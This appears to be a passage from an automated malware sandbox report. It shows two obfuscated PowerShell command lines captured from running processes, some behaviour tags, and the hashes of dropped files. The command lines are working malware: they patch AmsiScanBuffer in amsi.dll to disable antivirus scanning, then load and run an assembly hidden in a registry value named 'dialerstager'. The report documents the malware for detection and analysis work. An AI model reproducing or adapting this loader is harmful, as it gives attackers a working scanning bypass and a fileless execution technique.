[MulticastDelegate]);$pHwQosmptxZ.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+'al'+'N'+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+'H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$tbNElsqyjlPxdB).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$pHwQosmptxZ.DefineMethod(''+'I'+''+'n'+'v'+[Char](111)+''+[Char](107)+'e','Pub'+[Char](108)+''+[Char](105)+'c,'+[Char](72)+''+'i'+''+[Char](100)+'eB'+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+'l'+'o'+'t'+','+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+'a'+'l',$DcIeWyOXSi,$tbNElsqyjlPxdB).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+'i'+'m'+[Char](101)+''+','+''+'M'+''+[Char](97)+''+'n'+'a'+[Char](103)+''+'e'+''+'d'+'');Write-Output $pHwQosmptxZ.CreateType();}$LlXddWUCtKAdG=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('Mi'+[Char](99)+''+'r'+''+[Char](111)+'sof'+[Char](116)+''+[Char](46)+''+[Char](87)+'in32'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+'a'+'f'+[Char](101)+'LlXd'+'d'+''+[Char](87)+''+[Char](85)+''+[Char](67)+'tK'+[Char](65)+''+'d'+''+'G'+'');$FHwbwAxYllRnpz=$LlXddWUCtKAdG.GetMethod(''+'F'+''+'H'+''+[Char](119)+''+[Char](98)+''+[Char](119)+''+[Char](65)+'x'+[Char](89)+'ll'+[Char](82)+''+'n'+''+[Char](112)+''+[Char](122)+'',[Reflection.BindingFlags]'P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XsoVKxDtQzNYbWfGgGJ=uFWAwwbiwuOk @([String])([IntPtr]);$aKrRrcxHgzgqycnVMnazPy=uFWAwwbiwuOk @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TWFXySqHOmS=$LlXddWUCtKAdG.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object]('ke'+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+'3'+'2'+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')));$ZAlpcOOkhCkMvA=$FHwbwAxYllRnpz.Invoke($Null,@([Object]$TWFXySqHOmS,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+[Char](97)+'ry'+[Char](65)+'')));$qgYTOLrjIEnfhJETt=$FHwbwAxYllRnpz.Invoke($Null,@([Object]$TWFXySqHOmS,[Object]('V'+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+'e'+[Char](99)+''+[Char](116)+'')));$Ybtbews=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZAlpcOOkhCkMvA,$XsoVKxDtQzNYbWfGgGJ).Invoke('a'+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$RDHZScXnCCDXBZLyC=$FHwbwAxYllRnpz.Invoke($Null,@([Object]$Ybtbews,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'Sc'+[Char](97)+''+[Char](110)+''+[Char](66)+'u'+[Char](102)+''+[Char](102)+''+'e'+'r')));$AokCpaIblZ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qgYTOLrjIEnfhJETt,$aKrRrcxHgzgqycnVMnazPy).Invoke($RDHZScXnCCDXBZLyC,[uint32]8,4,[ref]$AokCpaIblZ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$RDHZScXnCCDXBZLyC,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qgYTOLrjIEnfhJETt,$aKrRrcxHgzgqycnVMnazPy).Invoke($RDHZScXnCCDXBZLyC,[uint32]8,0x20,[ref]$AokCpaIblZ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+'F'+[Char](84)+''+'W'+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+'a'+[Char](108)+''+[Char](101)+''+'r'+''+'s'+'t'+'a'+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2732
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:HpzwNEHhhBFl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lPTyMPMKoLVpum,[Parameter(Position=1)][Type]$QFOlTbjiPM)$bBEVcPznAtB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'le'+'c'+''+[Char](116)+''+'e'+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+'t'+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e','C'+[Char](108)+''+[Char](97)+''+'s'+'s'+[Char](44)+''+'P'+''+'u'+''+'b'+'lic'+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+'ed'+','+'An'+[Char](115)+'iC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+'o'+''+[Char](67)+'la'+'s'+''+'s'+'',[MulticastDelegate]);$bBEVcPznAtB.DefineConstructor(''+'R'+''+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+'l'+'N'+'a'+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+','+'P'+''+[Char](117)+'bl'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$lPTyMPMKoLVpum).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+'i'+[Char](109)+'e'+','+''+'M'+''+'a'+''+'n'+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$bBEVcPznAtB.DefineMethod(''+[Char](73)+''+'n'+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+'c'+','+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'New'+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+''+'r'+''+'t'+'ua'+[Char](108)+'',$QFOlTbjiPM,$lPTyMPMKoLVpum).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+'im'+'e'+''+','+'M'+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $bBEVcPznAtB.CreateType();}$GMCsrdrtkMHuT=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'ys'+'t'+'e'+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+'l')}).GetType(''+'M'+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+'G'+'MC'+'s'+''+[Char](114)+''+[Char](100)+''+'r'+'tk'+[Char](77)+''+[Char](72)+'u'+[Char](84)+'');$CDZVsMgjgWYziT=$GMCsrdrtkMHuT.GetMethod(''+[Char](67)+''+[Char](68)+''+[Char](90)+''+[Char](86)+''+[Char](115)+''+[Char](77)+''+[Char](103)+'jg'+'W'+''+'Y'+''+'z'+'i'+[Char](84)+'',[Reflection.BindingFlags]''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'Stat'+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YHvHdwBtprotAaHbHVV=HpzwNEHhhBFl @([String])([IntPtr]);$cPCckzotrMMgzrHEcOKRDM=HpzwNEHhhBFl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$dxWoTAOfZJg=$GMCsrdrtkMHuT.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'H'+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'ne'+[Char](108)+'3'+[Char](50)+'.d'+[Char](108)+''+[Char](108)+'')));$YbXNVWjyCrOkln=$CDZVsMgjgWYziT.Invoke($Null,@([Object]$dxWoTAOfZJg,[Object](''+'L'+''+'o'+''+[Char](97)+''+'d'+''+'L'+''+[Char](105)+''+'b'+'r'+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$yoncOyvuGbfBjjcen=$CDZVsMgjgWYziT.Invoke($Null,@([Object]$dxWoTAOfZJg,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+''+'r'+''+'o'+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$aqBUuLe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YbXNVWjyCrOkln,$YHvHdwBtprotAaHbHVV).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+'d'+'l'+''+[Char](108)+'');$YHwmXKBUZMiEsXCku=$CDZVsMgjgWYziT.Invoke($Null,@([Object]$aqBUuLe,[Object](''+[Char](65)+'m'+'s'+''+[Char](105)+'Sc'+[Char](97)+'n'+'B'+'u'+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$iGcbczsyke=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yoncOyvuGbfBjjcen,$cPCckzotrMMgzrHEcOKRDM).Invoke($YHwmXKBUZMiEsXCku,[uint32]8,4,[ref]$iGcbczsyke);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YHwmXKBUZMiEsXCku,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yoncOyvuGbfBjjcen,$cPCckzotrMMgzrHEcOKRDM).Invoke($YHwmXKBUZMiEsXCku,[uint32]8,0x20,[ref]$iGcbczsyke);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+'i'+'a'+[Char](108)+''+[Char](101)+'r'+'s'+''+'t'+'age'+'r'+'')).EntryPoint.Invoke($Null,$Null)1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4504
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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Filesize
53KB
MD5124edf3ad57549a6e475f3bc4e6cfe51
SHA180f5187eeebb4a304e9caa0ce66fcd78c113d634
SHA256638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
SHA512b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
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Filesize
19KB
MD579dfbfa8b4fdf152b7bf272bfec311ba
SHA1146839255af676e82c783fe64863cbdfbee9d107
SHA25652f88ddaf8cb52470cc4d94ae7dddc04e2a0dc92768a55f754ce0ad5382eba7a
SHA5123893b7c8fe6f9b3d21c90700ebe8ed830776ac9570c7dda70e093603fe0fa51f6d88dbe75f8df10ad5500b7e7adadf0714f138a96a0060789b4fd41c41288781
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Filesize
1KB
MD5c697637a9b17f577fccd7e83a5495810
SHA104e6054584786b88994b0e0a871562227fe2a435
SHA25654992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
SHA51266f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5